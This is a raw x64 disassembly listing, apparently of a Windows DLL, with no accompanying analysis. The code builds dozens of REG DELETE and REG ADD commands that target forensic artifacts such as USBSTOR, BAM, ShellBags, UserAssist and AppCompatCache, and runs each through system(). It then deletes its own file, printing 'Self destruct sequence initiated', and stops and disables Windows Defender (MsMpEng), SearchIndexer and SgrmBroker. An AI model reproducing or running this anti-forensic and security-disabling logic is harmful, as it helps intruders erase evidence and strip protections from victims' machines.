mov qword [rbp + 0x440], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumUsbEStub___f
mov qword [rbp + 0x448], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumUSB___f
mov qword [rbp + 0x450], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet001EnumUSBSTOR___f
mov qword [rbp + 0x458], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet002EnumUSBSTOR___f
mov qword [rbp + 0x460], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet002ControlDeviceClasses___f
mov qword [rbp + 0x468], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet003EnumUSB___f
mov qword [rbp + 0x470], rax
mov qword [rbp + 0x478], rcx
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet001Services_bamUserSettings_usersid____f
mov qword [rbp + 0x480], rax
lea rax, str.REG_DELETE__HKEY_USERS_usersid_SoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantStore___f
mov qword [rbp + 0x488], rax
mov qword [rbp + 0x490], rdx
lea rax, str.REG_DELETE__HKEY_USERS_usersid_SoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsLayers___f
mov qword [rbp + 0x498], rax
lea rax, str.REG_DELETE__HKEY_USERS_usersid_SoftwareMicrosoftWindowsCurrentVersionExplorerMountPoints2___f
mov qword [rbp + 0x4a0], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTimeZoneInformation___f
mov qword [rbp + 0x4a8], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices_bamStateUserSettingsS_1_5_21_4275516325_2688004904_1468727699_500___f
mov qword [rbp + 0x4b0], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist_
mov qword [rbp + 0x4b8], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREWinRARArcHistory_
mov qword [rbp + 0x4c0], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREWinRARDialogEditHistory_
mov qword [rbp + 0x4c8], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWARE7_Zip_
mov qword [rbp + 0x4d0], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREClassesLocal_SettingsSoftwareMicrosoftWindowsShellMuiCache_
mov qword [rbp + 0x4d8], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREClassesAppX69r31t6nmawqr1gdamcsndphj2v4a6cx_
mov qword [rbp + 0x4e0], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerFileExts_
mov qword [rbp + 0x4e8], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerFeatureUsageAppSwitched_
mov qword [rbp + 0x4f0], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantStore_
mov qword [rbp + 0x4f8], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerFileExts.dllOpenWithList_
mov qword [rbp + 0x500], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerFeatureUsageShowJumpView_
mov qword [rbp + 0x508], rax
lea rax, str.REG_ADD__HKEY_CLASSES_ROOTLocal_SettingsSoftwareMicrosoftWindowsShellMuiCache_
mov qword [rbp + 0x510], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerRecentDocs_
mov qword [rbp + 0x518], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerTypedPaths_
mov qword [rbp + 0x520], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyFirewallRules_
mov qword [rbp + 0x528], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumUSBSTO_
mov qword [rbp + 0x530], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREClassesLocal_SettingsSoftwareMicrosoftWindowsShell_
mov qword [rbp + 0x538], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESOFTWAREMicrosoftFTH_
mov qword [rbp + 0x540], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWARECloudflare_
mov qword [rbp + 0x548], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindows_NT_
mov qword [rbp + 0x550], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftNotepad_
mov qword [rbp + 0x558], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESOFTWARERegisteredApplications_
mov qword [rbp + 0x560], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsLayer_
mov qword [rbp + 0x568], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMControlSet001Services_bamStateUserSettings_
mov qword [rbp + 0x570], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMMountedDevices_
mov qword [rbp + 0x578], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerComDlg32LastVisitedPidlMRULegacy_
mov qword [rbp + 0x580], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerComDlg32FirstFolder_
mov qword [rbp + 0x588], rax
lea rax, str.REG_ADD__REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerComDlg32CIDSizeMRU_
mov qword [rbp + 0x590], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerRunMRU_
mov qword [rbp + 0x598], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREClassesLocal_SettingsSoftwareMicrosoftWindowsShellBags_
mov qword [rbp + 0x5a0], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREClassesLocal_SettingsSoftwareMicrosoftWindowsShellBagMRU_
mov qword [rbp + 0x5a8], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsShellBags_
mov qword [rbp + 0x5b0], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsShellBagMRU_
mov qword [rbp + 0x5b8], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession_ManagerAppCompatCache_
mov qword [rbp + 0x5c0], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMControlSet001ControlSession_ManagerAppCompatCache_
mov qword [rbp + 0x5c8], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftDirectInput_
mov qword [rbp + 0x5d0], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionAppletsRegedit_
mov qword [rbp + 0x5d8], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindows_NTCurrentVersionAppCompatFlagsLayers_
mov qword [rbp + 0x5e0], rax
lea rax, str.REG_ADD__HKCUSOFTWAREMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantStore_
mov qword [rbp + 0x5e8], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USEREnvironment_
mov qword [rbp + 0x5f0], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession_ManagerMemory_ManagementPrefetchParameters_
mov qword [rbp + 0x5f8], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionUninstall_
mov qword [rbp + 0x600], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftInternet_ExplorerLowRegistryAudioPolicyConfigPropertyStore_
mov qword [rbp + 0x608], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerComDlg32CIDSizeMRU_
mov qword [rbp + 0x610], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESOFTWAREClientsStartMenuInternet_
mov qword [rbp + 0x618], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESOFTWAREMicrosoftCommand_Processor_
mov qword [rbp + 0x620], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows_SearchVolumeInfoCache_
mov qword [rbp + 0x628], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumUSBSTOR_
mov qword [rbp + 0x630], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESOFTWAREMicrosoftTracing_
mov qword [rbp + 0x638], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer_
mov qword [rbp + 0x640], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32LastVisitedPidlMRU_
mov qword [rbp + 0x648], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32OpenSavePidlMRU_
mov qword [rbp + 0x650], rax
lea rax, str.REG_ADD__HKU_usersid_SOFTWAREMicrosoftWindowsCurrentVersionExplorerUserAssistCEBFF5CD_ACE2_4F4F_9178_9926F41749EACount_
mov qword [rbp + 0x658], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESOFTWAREMicrosoftRADARHeapLeakDetectionDiagnosedApplications_
mov qword [rbp + 0x660], rax
lea rcx, str.REG_ADD__HKEY_USERS_usersid_SoftwareMicrosoftWindowsCurrentVersionSearchRecentApps_
mov qword [rbp + 0x668], rcx
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices_bamUserSettings_usersid____f
mov qword [rbp + 0x670], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellNoRoam_
mov qword [rbp + 0x678], rax
lea rax, str.REG_ADD__HKEY_CURRENT_USERSoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantPersisted_
mov qword [rbp + 0x680], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMControlSet001ControlDeviceClasses53f56307_b6bf_11d0_94f2_00a0c91efb8b_
mov qword [rbp + 0x688], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMControlSet002ControlDeviceClasses53f56307_b6bf_11d0_94f2_00a0c91efb8b_
mov qword [rbp + 0x690], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlDeviceClasses53f56307_b6bf_11d0_94f2_00a0c91efb8b_
mov qword [rbp + 0x698], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumUsbEStub_
mov qword [rbp + 0x6a0], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumUSB_
mov qword [rbp + 0x6a8], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMControlSet001EnumUSBSTOR_
mov qword [rbp + 0x6b0], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMControlSet002EnumUSBSTOR_
mov qword [rbp + 0x6b8], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMControlSet002ControlDeviceClasses_
mov qword [rbp + 0x6c0], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMControlSet003EnumUSB_
mov qword [rbp + 0x6c8], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices_bamUserSettings_usersid__
mov qword [rbp + 0x6d0], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMControlSet001Services_bamUserSettings_usersid__
mov qword [rbp + 0x6d8], rax
lea rax, str.REG_ADD__HKEY_USERS_usersid_SoftwareMicrosoftWindowsCurrentVersionAppCompatFlagsCompatibility_AssistantStore_
mov qword [rbp + 0x6e0], rax
mov qword [rbp + 0x6e8], rcx
lea rax, str.REG_ADD__HKEY_USERS_usersid_SoftwareMicrosoftWindowsCurrentVersionAppCompatFlagsLayers_
mov qword [rbp + 0x6f0], rax
lea rax, str.REG_ADD__HKEY_USERS_usersid_SoftwareMicrosoftWindowsCurrentVersionExplorerMountPoints2_
mov qword [rbp + 0x6f8], rax
lea rax, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTimeZoneInformation_
mov qword [rbp + 0x700], rax
lea r14, [rbp + 0x250]
mov rcx, qword [r14]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add r14, 8
lea rax, [rbp + 0x708]
cmp r14, rax
jne 0x180033826
mov r8d, 0x104
lea rdx, [rbp + 0x780]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1d8], xmm1
lea rax, [rbp + 0x780]
inc rsi
cmp byte [rax + rsi], 0
jne 0x180033870
cmp rsi, rdi
ja 0x180033b74
cmp rsi, 0xf
ja 0x1800338bd
mov qword [rbp + 0x1d8], rsi
mov qword [rbp + 0x1e0], 0xf
mov r8, rsi
lea rdx, [rbp + 0x780]
lea rcx, [rbp + 0x1c8]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rsi + 0x1c8], 0
jmp 0x18003395a
mov rax, rsi
or rax, 0xf
cmp rax, rdi
jbe 0x1800338f6
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.180038a50
test rax, rax
je 0x180033a48
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x18003392f
mov rdi, rax
cmp rax, 0x16
mov eax, 0x16
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
je 0x18003392f
cmp rcx, 0x1000
jb 0x180033927
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x180033ba4
jmp 0x1800338d7
call fcn.180038a50
mov rbx, rax
mov qword [rbp + 0x1c8], rbx
mov qword [rbp + 0x1d8], rsi
mov qword [rbp + 0x1e0], rdi
mov r8, rsi
lea rdx, [rbp + 0x780]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rsi], 0
lea rcx, [rbp + 0x1c8]
cmp qword [rbp + 0x1e0], 0xf
cmova rcx, qword [rbp + 0x1c8]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x18003398b
lea rdx, str.Self_destruct_sequence_initiated..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
jmp 0x1800339bc
lea rdx, str.Failed_to_initiate_self_destruct_sequence._Error_code:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.180037270
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x18003c520]
call fcn.180037270
lea rcx, str.net_stop_SearchIndexer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_config_SearchIndexer.exe_startdisabled
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_MsMpEng.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_config_MsMpEng.exe_startdisabled
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_SgrmBroker.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_config_SgrmBroker.exe_startdisabled
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rdx, qword [rbp + 0x1e0]
cmp rdx, 0xf
jbe 0x180033a54
inc rdx
mov rcx, qword [rbp + 0x1c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180033a4f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180033a4f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180038400
movdqu xmmword [rbp + 0x1d8], xmm6
mov byte [rbp + 0x1c8], 0
mov rdx, qword [rbp + 0x200]
cmp rdx, 0xf
jbe 0x180033aa8
inc rdx
mov rcx, qword [rbp + 0x1e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180033aa2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180033aa2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180038400
nop
mov rdx, qword [rbp + 0x220]
cmp rdx, 0xf
jbe 0x180033aec
inc rdx
mov rcx, qword [rbp + 0x208]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180033ae7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180033ae7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180038400
movdqu xmmword [rbp + 0x218], xmm6
mov byte [rbp + 0x208], 0
mov rdx, qword [rbp + 0x248]
cmp rdx, 0xf
jbe 0x180033b3f
inc rdx
mov rcx, qword [rbp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180033b3a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180033b3a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180038400
mov rcx, qword [rbp + 0x890]
xor rcx, rsp
call fcn.180038310
lea r11, [rsp + 0x9b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.180031020
nop
call fcn.18002e570
int3
call fcn.18002e570
int3
call fcn.18002e570
int3
call fcn.18002e570
int3
call fcn.18002e570
int3
call fcn.18002e570
int3
call fcn.18002e570
nop
call fcn.18002e570
nop
call fcn.180031020
int3
call fcn.180031020
int3
call fcn.180031020
int3
call fcn.180031020
int3
call fcn.180031020
int3
call fcn.180031020
int3
call fcn.180031020
int3